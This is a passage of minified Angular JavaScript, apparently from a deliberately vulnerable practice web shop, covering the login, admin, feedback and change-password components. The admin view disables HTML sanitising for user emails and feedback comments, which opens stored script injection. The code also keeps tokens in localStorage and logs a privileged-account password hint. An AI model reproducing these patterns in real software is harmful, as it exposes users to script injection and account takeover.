n{constructor(e,o,i,r,l,m,v,A){this.configurationService=e,this.userService=o,this.windowRefService=i,this.cookieService=r,this.router=l,this.formSubmitService=m,this.basketService=v,this.ngZone=A,this.emailControl=new s.p4("",[s.kI.required]),this.passwordControl=new s.p4("",[s.kI.required,s.kI.minLength(1)]),this.hide=!0,this.rememberMe=new s.p4(!1),this.clientId="1005568560502-6hm16lef8oh46hr2d98vf2ohlnj4nfhq.apps.googleusercontent.com",this.oauthUnavailable=!0,this.redirectUri=""}ngOnInit(){const e=localStorage.getItem("email");e?(this.user={},this.user.email=e,this.rememberMe.setValue(!0)):this.rememberMe.setValue(!1),this.redirectUri=`${this.windowRefService.nativeWindow.location.protocol}//${this.windowRefService.nativeWindow.location.host}`,this.configurationService.getApplicationConfiguration().subscribe(o=>{if(o?.application?.googleOauth){this.clientId=o.application.googleOauth.clientId;const i=o.application.googleOauth.authorizedRedirects.find(r=>r.uri===this.redirectUri);i?(this.oauthUnavailable=!1,this.redirectUri=i.proxy?i.proxy:i.uri):(this.oauthUnavailable=!0,console.log(this.redirectUri+" is not an authorized redirect URI for this application."))}},o=>{console.log(o)}),this.formSubmitService.attachEnterKeyHandler("login-form","loginButton",()=>{this.login()})}login(){var e=this;this.user={},this.user.email=this.emailControl.value,this.user.password=this.passwordControl.value,this.userService.login(this.user).subscribe(o=>{localStorage.setItem("token",o.token);const i=new Date;i.setHours(i.getHours()+8),this.cookieService.put("token",o.token,{expires:i}),sessionStorage.setItem("bid",o.bid),this.basketService.updateNumberOfCartItems(),this.userService.isLoggedIn.next(!0),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/search"])}))},({error:o})=>{if(o.status&&o.data&&"totp_token_required"===o.status)return localStorage.setItem("totp_tmp_token",o.data.tmpToken),void this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/2fa/enter"])}));localStorage.removeItem("token"),this.cookieService.remove("token"),sessionStorage.removeItem("bid"),this.error=o,this.userService.isLoggedIn.next(!1),this.emailControl.markAsPristine(),this.passwordControl.markAsPristine()}),this.rememberMe.value?localStorage.setItem("email",this.user.email):localStorage.removeItem("email")}googleLogin(){this.windowRefService.nativeWindow.location.replace(`https://accounts.google.com/o/oauth2/v2/auth?client_id=${this.clientId}&response_type=token&scope=email&redirect_uri=${this.redirectUri}`)}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(b.e),t.Y36(R),t.Y36(Vt),t.Y36(I.N_),t.Y36(U.F0),t.Y36(rt),t.Y36(X),t.Y36(t.R0b))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-login"]],decls:35,vars:18,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["class","error",4,"ngIf"],["id","login-form",1,"form-container"],["color","accent","appearance","outline"],["translate",""],["id","email","name","email","matInput","","placeholder","","aria-label","Text field for the login email",3,"formControl","focus"],["email",""],["translate","",4,"ngIf"],["id","password","name","password","matInput","","placeholder","","aria-label","Text field for the login password",3,"formControl","type","focus"],["password",""],["mat-icon-button","","matSuffix","","aria-label","Button to display the password","matTooltipPosition","right",3,"matTooltip","click",4,"ngIf"],["mat-icon-button","","matSuffix","","aria-label","Button to hide the password","matTooltipPosition","right",3,"matTooltip","click",4,"ngIf"],["routerLink","/forgot-password","translate","",1,"primary-link","forgot-pw"],["type","submit","id","loginButton","mat-raised-button","","color","primary","aria-label","Login",3,"disabled","click"],["id","rememberMe","aria-label","Checkbox to stay logged in or not logged in",3,"formControl"],["class","breakLine",4,"ngIf"],["id","loginButtonGoogle","mat-raised-button","","color","accent","aria-label","Login with Google","class","google-button",3,"click",4,"ngIf"],["id","newCustomerLink"],["routerLink","/register","translate","",1,"primary-link"],[1,"error"],["mat-icon-button","","matSuffix","","aria-label","Button to display the password","matTooltipPosition","right",3,"matTooltip","click"],["aria-label","Eye",1,"fas","fa-eye"],["mat-icon-button","","matSuffix","","aria-label","Button to hide the password","matTooltipPosition","right",3,"matTooltip","click"],["aria-label","Eye Slash",1,"fas","fa-eye-slash"],[1,"breakLine"],[1,"line"],["translate","",1,"textOnLine"],["id","loginButtonGoogle","mat-raised-button","","color","accent","aria-label","Login with Google",1,"google-button",3,"click"],[1,"fab","fa-google","fa-lg"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1"),t._uU(3,"Login"),t.qZA(),t.YNc(4,Fo,2,1,"div",2),t.TgZ(5,"div",3)(6,"mat-form-field",4)(7,"mat-label",5),t._uU(8,"LABEL_EMAIL"),t.qZA(),t.TgZ(9,"input",6,7),t.NdJ("focus",function(){return o.error=null}),t.qZA(),t.YNc(11,Bo,2,0,"mat-error",8),t.qZA(),t.TgZ(12,"mat-form-field",4)(13,"mat-label",5),t._uU(14,"LABEL_PASSWORD"),t.qZA(),t.TgZ(15,"input",9,10),t.NdJ("focus",function(){return o.error=null}),t.qZA(),t.YNc(17,Ro,3,3,"button",11),t.YNc(18,Yo,3,3,"button",12),t.YNc(19,Jo,2,0,"mat-error",8),t.qZA(),t.TgZ(20,"a",13),t._uU(21,"FORGOT_PASSWORD"),t.qZA(),t.TgZ(22,"button",14),t.NdJ("click",function(){return o.login()}),t.TgZ(23,"mat-icon"),t._uU(24," exit_to_app "),t.qZA(),t._uU(25),t.ALo(26,"translate"),t.qZA(),t.TgZ(27,"mat-checkbox",15),t._uU(28),t.ALo(29,"translate"),t.qZA(),t.YNc(30,Qo,7,0,"div",16),t.YNc(31,Ho,4,3,"button",17),t.TgZ(32,"div",18)(33,"a",19),t._uU(34,"NO_CUSTOMER"),t.qZA()()()()()),2&e&&(t.xp6(4),t.Q6J("ngIf",o.error),t.xp6(5),t.Q6J("formControl",o.emailControl),t.xp6(2),t.Q6J("ngIf",o.emailControl.invalid),t.xp6(4),t.Q6J("formControl",o.passwordControl)("type",o.hide?"password":"text"),t.xp6(2),t.Q6J("ngIf",o.hide),t.xp6(1),t.Q6J("ngIf",!o.hide),t.xp6(1),t.Q6J("ngIf",o.passwordControl.invalid),t.xp6(3),t.Q6J("disabled",!o.emailControl.value||!o.passwordControl.value),t.xp6(3),t.hij(" ",t.lcZ(26,14,"BTN_LOGIN")," "),t.xp6(2),t.Q6J("formControl",o.rememberMe),t.xp6(1),t.hij(" ",t.lcZ(29,16,"REMEMBER_ME")," "),t.xp6(2),t.Q6J("ngIf",!o.oauthUnavailable),t.xp6(1),t.Q6J("ngIf",!o.oauthUnavailable))},dependencies:[h.O5,U.rH,u.Pi,p.Wh,s.Fj,s.JJ,s.oH,F.Hw,f.TO,f.KE,f.hX,f.R9,x.lW,T.a8,B.Nt,Xt.oG,Q.gM,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:25%}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}.forgot-pw[_ngcontent-%COMP%]{font-size:11px;margin-top:-15px}mat-checkbox[_ngcontent-%COMP%]{margin-bottom:20px;margin-left:20%;margin-top:5px}mat-form-field[_ngcontent-%COMP%]{padding-top:10px}mat-form-field[_ngcontent-%COMP%]:nth-child(2){padding-bottom:20px}#loginButton[_ngcontent-%COMP%], #loginButtonGoogle[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}.breakLine[_ngcontent-%COMP%]{display:table}.breakLine[_ngcontent-%COMP%] > div[_ngcontent-%COMP%]{display:table-cell;white-space:nowrap}.line[_ngcontent-%COMP%] > div[_ngcontent-%COMP%]{border-bottom:1px solid #c0c0c0;height:1px}.textOnLine[_ngcontent-%COMP%]{padding:0 5px}.line[_ngcontent-%COMP%]{vertical-align:middle;width:50%}#newCustomerLink[_ngcontent-%COMP%]{align-self:center;font-size:12px;margin-top:40px}[_nghost-%COMP%] .mat-form-field-suffix{margin-bottom:auto!important;margin-top:auto!important}[_nghost-%COMP%] .mat-icon-button{height:40px!important;width:24px!important}"]}),n})();O.vI.add(g.OFe);let Ko=(()=>{class n{constructor(e,o){this.dialogData=e,this.userService=o}ngOnInit(){this.userService.get(this.dialogData.id).subscribe(e=>{this.user=e},e=>{console.log(e)})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.WI),t.Y36(R))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-user-details"]],decls:29,vars:10,consts:[[1,"mat-typography"],["fxLayout","column",1,"container"],["fxLayout","row","fxLayoutGap","10px"],["translate","LABEL_EMAIL"],["translate","LABEL_CREATED_AT"],["translate","LABEL_UPDATED_AT"],["align","end",1,"dialogAction"],["mat-button","",2,"height","0","position","absolute"],["mat-stroked-button","","mat-dialog-close","","aria-label","Close Dialog",1,"close-dialog","buttons"],[1,"material-icons"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-dialog-content",0)(1,"header")(2,"h1"),t._uU(3),t.ALo(4,"translate"),t.qZA()(),t._UZ(5,"mat-divider"),t.TgZ(6,"div",1)(7,"div",2)(8,"div"),t._UZ(9,"strong",3),t.TgZ(10,"p"),t._uU(11),t.qZA()()(),t.TgZ(12,"div",2)(13,"div"),t._UZ(14,"strong",4),t.TgZ(15,"p"),t._uU(16),t.qZA()(),t.TgZ(17,"div"),t._UZ(18,"strong",5),t.TgZ(19,"p"),t._uU(20),t.qZA()()()(),t.TgZ(21,"mat-dialog-actions",6),t._UZ(22,"button",7),t.TgZ(23,"button",8)(24,"i",9),t._uU(25," close "),t.qZA(),t.TgZ(26,"span"),t._uU(27),t.ALo(28,"translate"),t.qZA()()()()),2&e&&(t.xp6(3),t.AsE("",t.lcZ(4,6,"LABEL_USER")," #",null==o.user?null:o.user.id,""),t.xp6(8),t.Oqu(null==o.user?null:o.user.email),t.xp6(5),t.Oqu(null==o.user?null:o.user.createdAt),t.xp6(4),t.Oqu(null==o.user?null:o.user.updatedAt),t.xp6(7),t.hij(" ",t.lcZ(28,8,"BTN_CLOSE"),""))},dependencies:[u.Pi,p.xw,p.SQ,x.lW,N.ZT,N.xY,N.H8,z.d,u.X$],styles:["mat-divider[_ngcontent-%COMP%]{margin-bottom:10px}.dialogAction[_ngcontent-%COMP%]{margin-bottom:0!important}"]}),n})(),Wo=(()=>{class n{constructor(e){this.dialogData=e}ngOnInit(){this.feedback=this.dialogData.feedback,this.id=this.dialogData.id}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.WI))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-feedback-details"]],decls:23,vars:11,consts:[[1,"mat-typography"],["fxLayout","column",1,"container"],["fxLayout","row","fxLayoutGap","10px"],[2,"margin-top","10px !important"],[3,"innerHTML"],["align","end",1,"dialogAction"],["mat-button","",2,"height","0","position","absolute"],["mat-stroked-button","","mat-dialog-close","","aria-label","Close Dialog",1,"close-dialog","buttons"],[1,"material-icons"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-dialog-content",0)(1,"header")(2,"h1"),t._uU(3),t.ALo(4,"translate"),t.qZA()(),t._UZ(5,"mat-divider"),t.TgZ(6,"div",1)(7,"div",2)(8,"span"),t._uU(9),t.ALo(10,"translate"),t.qZA(),t.TgZ(11,"p"),t._uU(12),t.qZA()(),t.TgZ(13,"div",3),t._UZ(14,"cite",4),t.qZA()(),t.TgZ(15,"mat-dialog-actions",5),t._UZ(16,"button",6),t.TgZ(17,"button",7)(18,"i",8),t._uU(19," close "),t.qZA(),t.TgZ(20,"span"),t._uU(21),t.ALo(22,"translate"),t.qZA()()()()),2&e&&(t.xp6(3),t.Oqu(t.lcZ(4,5,"LABEL_COMMENT")),t.xp6(6),t.hij("",t.lcZ(10,7,"LABEL_USER"),":"),t.xp6(3),t.hij("#",o.id,""),t.xp6(2),t.Q6J("innerHTML",o.feedback,t.oJD),t.xp6(7),t.hij(" ",t.lcZ(22,9,"BTN_CLOSE"),""))},dependencies:[p.xw,p.SQ,x.lW,N.ZT,N.xY,N.H8,z.d,u.X$],styles:["mat-divider[_ngcontent-%COMP%]{margin-bottom:10px}.dialogAction[_ngcontent-%COMP%]{margin-bottom:0!important}mat-dialog-content[_ngcontent-%COMP%]{max-width:320px;min-width:280px}"]}),n})();const zo=["paginatorUsers"],$o=["paginatorFeedb"];function Vo(n,a){1&n&&t._UZ(0,"mat-header-cell")}function Xo(n,a){1&n&&t._UZ(0,"i",30)}function ta(n,a){if(1&n&&(t.TgZ(0,"mat-cell",28),t.YNc(1,Xo,1,0,"i",29),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.Q6J("ngIf",e.token)}}function ea(n,a){1&n&&t._UZ(0,"mat-header-cell",1)}function na(n,a){1&n&&t._UZ(0,"mat-cell",31),2&n&&t.Q6J("innerHTML",a.$implicit.email,t.oJD)}function oa(n,a){1&n&&t._UZ(0,"mat-header-cell")}function aa(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell")(1,"button",32),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.showUserDetail(r.id))}),t._UZ(2,"i",33),t.qZA()()}}function ia(n,a){1&n&&t._UZ(0,"mat-header-row")}function ra(n,a){1&n&&t._UZ(0,"mat-row")}function sa(n,a){1&n&&t._UZ(0,"mat-header-cell")}function la(n,a){1&n&&t._UZ(0,"mat-cell",28)}function ca(n,a){1&n&&t._UZ(0,"mat-header-cell",1)}function ua(n,a){1&n&&t._UZ(0,"mat-cell",31),2&n&&t.Q6J("innerHTML",a.$implicit.email,t.oJD)}function pa(n,a){1&n&&t._UZ(0,"mat-header-cell")}function da(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell")(1,"button",32),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.showUserDetail(r.id))}),t._UZ(2,"i",33),t.qZA()()}}function ma(n,a){1&n&&t._UZ(0,"mat-header-row")}function ga(n,a){1&n&&t._UZ(0,"mat-row")}function ha(n,a){1&n&&t._UZ(0,"mat-header-cell",1)}function _a(n,a){if(1&n&&(t.TgZ(0,"mat-cell"),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.UserId,"")}}function fa(n,a){1&n&&t._UZ(0,"mat-header-cell",1)}function Ca(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",34),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.showFeedbackDetails(r.comment,r.UserId))}),t._UZ(1,"p",35),t.qZA()}if(2&n){const e=a.$implicit;t.xp6(1),t.Q6J("innerHTML",e.comment,t.oJD)}}function va(n,a){1&n&&t._UZ(0,"mat-header-cell",1)}function xa(n,a){1&n&&(t.TgZ(0,"mat-icon"),t._uU(1," star_rate "),t.qZA())}function ba(n,a){if(1&n&&(t.TgZ(0,"mat-cell"),t.YNc(1,xa,2,0,"mat-icon",36),t.qZA()),2&n){const e=a.$implicit,o=t.oxw();t.xp6(1),t.Q6J("ngForOf",o.times(e.rating))}}function Ta(n,a){1&n&&t._UZ(0,"mat-header-cell")}function Aa(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell")(1,"button",32),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.deleteFeedback(r.id))}),t._UZ(2,"i",37),t.qZA()()}}function ya(n,a){1&n&&t._UZ(0,"mat-header-row")}function Za(n,a){1&n&&t._UZ(0,"mat-row")}O.vI.add(g.ILF,g.Mdf,g.J9Y,g.N2j,g.I7k);let wa=(()=>{class n{constructor(e,o,i,r){this.dialog=e,this.userService=o,this.feedbackService=i,this.sanitizer=r,this.userColumns=["user","email","user_detail"],this.feedbackColumns=["user","comment","rating","remove"],this.resultsLengthUser=0,this.resultsLengthFeedback=0}ngOnInit(){this.findAllUsers(),this.findAllFeedbacks()}findAllUsers(){this.userService.find().subscribe(e=>{this.userDataSource=e,this.userDataSourceHidden=e;for(const o of this.userDataSource)o.email=this.sanitizer.bypassSecurityTrustHtml(`<span class="${o.token?"confirmation":"error"}">${o.email}</span>`);this.userDataSource=new d.by(this.userDataSource),this.userDataSource.paginator=this.paginatorUsers,this.resultsLengthUser=e.length},e=>{this.error=e,console.log(this.error)})}findAllFeedbacks(){this.feedbackService.find().subscribe(e=>{this.feedbackDataSource=e;for(const o of this.feedbackDataSource)o.comment=this.sanitizer.bypassSecurityTrustHtml(o.comment);this.feedbackDataSource=new d.by(this.feedbackDataSource),this.feedbackDataSource.paginator=this.paginatorFeedb,this.resultsLengthFeedback=e.length},e=>{this.error=e,console.log(this.error)})}deleteFeedback(e){this.feedbackService.del(e).subscribe(()=>{this.findAllFeedbacks()},o=>{this.error=o,console.log(this.error)})}showUserDetail(e){this.dialog.open(Ko,{data:{id:e}})}showFeedbackDetails(e,o){this.dialog.open(Wo,{data:{feedback:e,id:o}})}times(e){return Array(e).fill("\\u2605")}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.uw),t.Y36(R),t.Y36(Lt),t.Y36(k.H7))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-administration"]],viewQuery:function(e,o){if(1&e&&(t.Gf(zo,5),t.Gf($o,5)),2&e){let i;t.iGM(i=t.CRH())&&(o.paginatorUsers=i.first),t.iGM(i=t.CRH())&&(o.paginatorFeedb=i.first)}},decls:58,vars:13,consts:[[1,"mat-elevation-z6","mat-own-card"],["translate",""],["fxLayout","row","fxLayout.lt-md","column","fxLayoutGap","20px",1,"container"],["fxFlexAlign","center",1,"user-container"],[1,"user-table"],[1,"heading"],[2,"height","700px",3,"dataSource"],["matColumnDef","user"],[4,"matHeaderCellDef"],["style","vertical-align: middle",4,"matCellDef"],["matColumnDef","email"],["translate","",4,"matHeaderCellDef"],["style","vertical-align: middle",3,"innerHTML",4,"matCellDef"],["matColumnDef","user_detail"],[4,"matCellDef"],[4,"matHeaderRowDef"],[4,"matRowDef","matRowDefColumns"],["color","accent",1,"mat-elevation-z0",3,"pageSize","length"],["paginatorUsers",""],[2,"visibility","hidden","height","0px",3,"dataSource"],["fxFlexAlign.lt-md","center",1,"customer-container"],[1,"customer-table"],["matColumnDef","comment"],[3,"click",4,"matCellDef"],["matColumnDef","rating"],["matColumnDef","remove"],["paginatorFeedb",""],["src","assets/public/images/padding/19px.png"],[2,"vertical-align","middle"],["class","fas fa-user fa-lg confirmation",4,"ngIf"],[1,"fas","fa-user","fa-lg","confirmation"],[2,"vertical-align","middle",3,"innerHTML"],["mat-button","",3,"click"],[1,"fas","fa-eye"],[3,"click"],["matTooltip","Click for more information","matTooltipPosition","above",3,"innerHTML"],[4,"ngFor","ngForOf"],[1,"fas","fa-trash-alt"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"h1",1),t._uU(2,"TITLE_ADMINISTRATION"),t.qZA(),t.TgZ(3,"div",2)(4,"div",3)(5,"div",4)(6,"div",5)(7,"span",1),t._uU(8,"SECTION_USER"),t.qZA()(),t.TgZ(9,"mat-table",6),t.ynx(10,7),t.YNc(11,Vo,1,0,"mat-header-cell",8),t.YNc(12,ta,2,1,"mat-cell",9),t.BQk(),t.ynx(13,10),t.YNc(14,ea,1,0,"mat-header-cell",11),t.YNc(15,na,1,1,"mat-cell",12),t.BQk(),t.ynx(16,13),t.YNc(17,oa,1,0,"mat-header-cell",8),t.YNc(18,aa,3,0,"mat-cell",14),t.BQk(),t.YNc(19,ia,1,0,"mat-header-row",15),t.YNc(20,ra,1,0,"mat-row",16),t.qZA(),t._UZ(21,"mat-paginator",17,18),t.qZA(),t.TgZ(23,"mat-table",19),t.ynx(24,7),t.YNc(25,sa,1,0,"mat-header-cell",8),t.YNc(26,la,1,0,"mat-cell",9),t.BQk(),t.ynx(27,10),t.YNc(28,ca,1,0,"mat-header-cell",11),t.YNc(29,ua,1,1,"mat-cell",12),t.BQk(),t.ynx(30,13),t.YNc(31,pa,1,0,"mat-header-cell",8),t.YNc(32,da,3,0,"mat-cell",14),t.BQk(),t.YNc(33,ma,1,0,"mat-header-row",15),t.YNc(34,ga,1,0,"mat-row",16),t.qZA()(),t.TgZ(35,"div",20)(36,"div",21)(37,"div",5)(38,"span",1),t._uU(39,"SECTION_CUSTOMER_FEEDBACK"),t.qZA()(),t.TgZ(40,"mat-table",6),t.ynx(41,7),t.YNc(42,ha,1,0,"mat-header-cell",11),t.YNc(43,_a,2,1,"mat-cell",14),t.BQk(),t.ynx(44,22),t.YNc(45,fa,1,0,"mat-header-cell",11),t.YNc(46,Ca,2,1,"mat-cell",23),t.BQk(),t.ynx(47,24),t.YNc(48,va,1,0,"mat-header-cell",11),t.YNc(49,ba,2,1,"mat-cell",14),t.BQk(),t.ynx(50,25),t.YNc(51,Ta,1,0,"mat-header-cell",8),t.YNc(52,Aa,3,0,"mat-cell",14),t.BQk(),t.YNc(53,ya,1,0,"mat-header-row",15),t.YNc(54,Za,1,0,"mat-row",16),t.qZA(),t._UZ(55,"mat-paginator",17,26),t.qZA()(),t._UZ(57,"img",27),t.qZA()()),2&e&&(t.xp6(9),t.Q6J("dataSource",o.userDataSource),t.xp6(10),t.Q6J("matHeaderRowDef",o.userColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.userColumns),t.xp6(1),t.Q6J("pageSize",10)("length",o.resultsLengthUser),t.xp6(2),t.Q6J("dataSource",o.userDataSourceHidden),t.xp6(10),t.Q6J("matHeaderRowDef",o.userColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.userColumns),t.xp6(6),t.Q6J("dataSource",o.feedbackDataSource),t.xp6(13),t.Q6J("matHeaderRowDef",o.feedbackColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.feedbackColumns),t.xp6(1),t.Q6J("pageSize",10)("length",o.resultsLengthFeedback))},dependencies:[h.sg,h.O5,u.Pi,p.xw,p.SQ,p.XD,F.Hw,x.lW,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.ge,d.ev,d.XQ,d.Gk,xt.NW,T.a8,Q.gM],styles:[".heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.13);font-size:large;justify-content:center;margin-bottom:10px;padding:12px}.container[_ngcontent-%COMP%]{justify-content:center}mat-table[_ngcontent-%COMP%]{height:767px}mat-header-row[_ngcontent-%COMP%]{min-height:0!important}.user-container[_ngcontent-%COMP%], .customer-container[_ngcontent-%COMP%]{max-width:600px;min-width:300px;width:70%}.user-table[_ngcontent-%COMP%], .customer-table[_ngcontent-%COMP%]{margin-bottom:25px}.mat-column-icon[_ngcontent-%COMP%] svg[_ngcontent-%COMP%], .mat-column-user_detail[_ngcontent-%COMP%] button[_ngcontent-%COMP%]{margin-left:38%}mat-cell[_ngcontent-%COMP%], mat-footer-cell[_ngcontent-%COMP%], mat-header-cell[_ngcontent-%COMP%]{align-items:normal;display:block}.mat-column-comment[_ngcontent-%COMP%]{flex:0 0 55%!important;-webkit-hyphens:auto;hyphens:auto;overflow-wrap:break-word;padding:5px;white-space:unset!important;width:55%!important;word-break:break-word;word-wrap:break-word!important}.mat-column-user[_ngcontent-%COMP%]{flex:0 0 7%!important;-webkit-hyphens:auto;hyphens:auto;overflow-wrap:break-word;padding:5px;white-space:unset!important;width:7%!important;word-break:break-word;word-wrap:break-word!important}.mat-column-rating[_ngcontent-%COMP%]{flex:0 0 20%!important;-webkit-hyphens:auto;hyphens:auto;overflow-wrap:break-word;white-space:unset!important;width:20%!important;word-break:break-word;word-wrap:break-word!important}mat-cell[_ngcontent-%COMP%]:last-child, mat-footer-cell[_ngcontent-%COMP%]:last-child, mat-header-cell[_ngcontent-%COMP%]:last-child{padding-right:50px}mat-row[_ngcontent-%COMP%]{height:69px}.mat-own-card[_ngcontent-%COMP%]{display:block;margin-bottom:20px;margin-left:10%;margin-right:10%}p[_ngcontent-%COMP%]{-webkit-box-orient:vertical;display:-webkit-box;-webkit-line-clamp:2;overflow:hidden}"]}),n})();function Sa(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_CURRENT_PASSWORD"),t.qZA())}function ka(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_NEW_PASSWORD "),t.qZA())}const we=function(){return{length:"5-40"}};function Ia(n,a){1&n&&(t.TgZ(0,"mat-error",19),t._uU(1,"INVALID_PASSWORD_LENGTH "),t.qZA()),2&n&&t.Q6J("translateParams",t.DdM(1,we))}function Oa(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_PASSWORD_REPEAT"),t.qZA())}function Ua(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," PASSWORDS_NOT_MATCHING "),t.qZA())}O.vI.add(g.r6l,D.Xc);let La=(()=>{class n{constructor(e,o,i){this.userService=e,this.formSubmitService=o,this.translate=i,this.passwordControl=new s.p4("",[s.kI.required]),this.newPasswordControl=new s.p4("",[s.kI.required,s.kI.minLength(5),s.kI.maxLength(40)]),this.repeatNewPasswordControl=new s.p4("",[s.kI.required,s.kI.minLength(5),s.kI.maxLength(40),Pa(this.newPasswordControl)])}ngOnInit(){this.formSubmitService.attachEnterKeyHandler("password-form","changeButton",()=>{this.changePassword()})}changePassword(){localStorage.getItem("email")?.match(/support@.*/)&&!this.newPasswordControl.value.match(/(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[@$!%*?&])[A-Za-z\\d@$!%*?&]{12,30}/)&&console.error("Parola echipei de asisten\\u021b\\u0103 nu respect\\u0103 politica corporativ\\u0103 pentru conturile privilegiate! V\\u0103 rug\\u0103m s\\u0103 schimba\\u021bi parola \\xeen consecin\\u021b\\u0103!"),this.userService.changePassword({current:this.passwordControl.value,new:this.newPasswordControl.value,repeat:this.repeatNewPasswordControl.value}).subscribe(e=>{this.error=void 0,this.translate.get("PASSWORD_SUCCESSFULLY_CHANGED").subscribe(o=>{this.confirmation=o},o=>{this.confirmation={error:o}}),this.resetForm()},e=>{console.log(e),this.error=e,this.confirmation=void 0,this.resetPasswords()})}resetForm(){this.passwordControl.setValue(""),this.resetPasswords()}resetPasswords(){this.passwordControl.markAsPristine(),this.passwordControl.markAsUntouched(),this.newPasswordControl.setValue(""),this.newPasswordControl.markAsPristine(),this.newPasswordControl.markAsUntouched(),this.repeatNewPasswordControl.setValue(""),this.repeatNewPasswordControl.markAsPristine(),this.repeatNewPasswordControl.markAsUntouched()}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(R),t.Y36(rt),t.Y36(u.sK))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-change-password"]],decls:42,vars:26,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6",2,"margin-bottom","20px"],["translate",""],[1,"confirmation",3,"hidden"],[1,"error",3,"hidden"],["id","password-form",1,"form-container"],["appearance","outline","color","accent"],["id","currentPassword","type","password","matInput","","aria-label","Field to enter the current password",3,"formControl","placeholder"],["translate","",4,"ngIf"],["id","newPassword","type","password","matInput","","aria-label","Field for the new password",3,"formControl"],["password",""],[1,"fas","fa-exclamation-circle"],["translate","",2,"margin-left","5px"],["align","end"],["translate","",3,"translateParams",4,"ngIf"],["id","newPasswordRepeat","type","password","matInput","","aria-label","Field to repeat the new password",3,"formControl"],["passwordRepeat",""],["type","submit","id","changeButton","mat-raised-button","","color","primary","aria-label","Button to confirm the change",3,"disabled","click"],["aria-hidden","true",1,"far","fa-edit","fa-lg"],["translate","",3,"translateParams"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"TITLE_CHANGE_PASSWORD"),t.qZA(),t.TgZ(4,"div",3),t._uU(5),t.qZA(),t.TgZ(6,"div",4),t._uU(7),t.qZA(),t.TgZ(8,"div",5)(9,"mat-form-field",6)(10,"mat-label",2),t._uU(11,"LABEL_CURRENT_PASSWORD"),t.qZA(),t._UZ(12,"input",7),t.ALo(13,"translate"),t.YNc(14,Sa,2,0,"mat-error",8),t.qZA(),t.TgZ(15,"mat-form-field",6)(16,"mat-label",2),t._uU(17,"LABEL_NEW_PASSWORD"),t.qZA(),t._UZ(18,"input",9,10),t.TgZ(20,"mat-hint",2),t._UZ(21,"i",11),t.TgZ(22,"em",12),t._uU(23),t.ALo(24,"translate"),t.qZA()(),t.TgZ(25,"mat-hint",13),t._uU(26),t.qZA(),t.YNc(27,ka,2,0,"mat-error",8),t.YNc(28,Ia,2,2,"mat-error",14),t.qZA(),t.TgZ(29,"mat-form-field",6)(30,"mat-label",2),t._uU(31,"LABEL_REPEAT_NEW_PASSWORD"),t.qZA(),t._UZ(32,"input",15,16),t.TgZ(34,"mat-hint",13),t._uU(35),t.qZA(),t.YNc(36,Oa,2,0,"mat-error",8),t.YNc(37,Ua,2,0,"mat-error",8),t.qZA()(),t.TgZ(38,"button",17),t.NdJ("click",function(){return o.changePassword()}),t._UZ(39,"i",18),t._uU(40),t.ALo(41,"translate"),t.qZA()()()),2&e){const i=t.MAs(19),r=t.MAs(33);t.xp6(4),t.Q6J("hidden",!(o.confirmation&&!o.passwordControl.dirty&&!o.newPasswordControl.dirty&&!o.repeatNewPasswordControl.dirty)),t.xp6(1),t.hij(" ",o.confirmation," "),t.xp6(1),t.Q6J("hidden",!(o.error&&!o.passwordControl.dirty&&!o.newPasswordControl.dirty&&!o.repeatNewPasswordControl.dirty)),t.xp6(1),t.hij(" ",o.error," 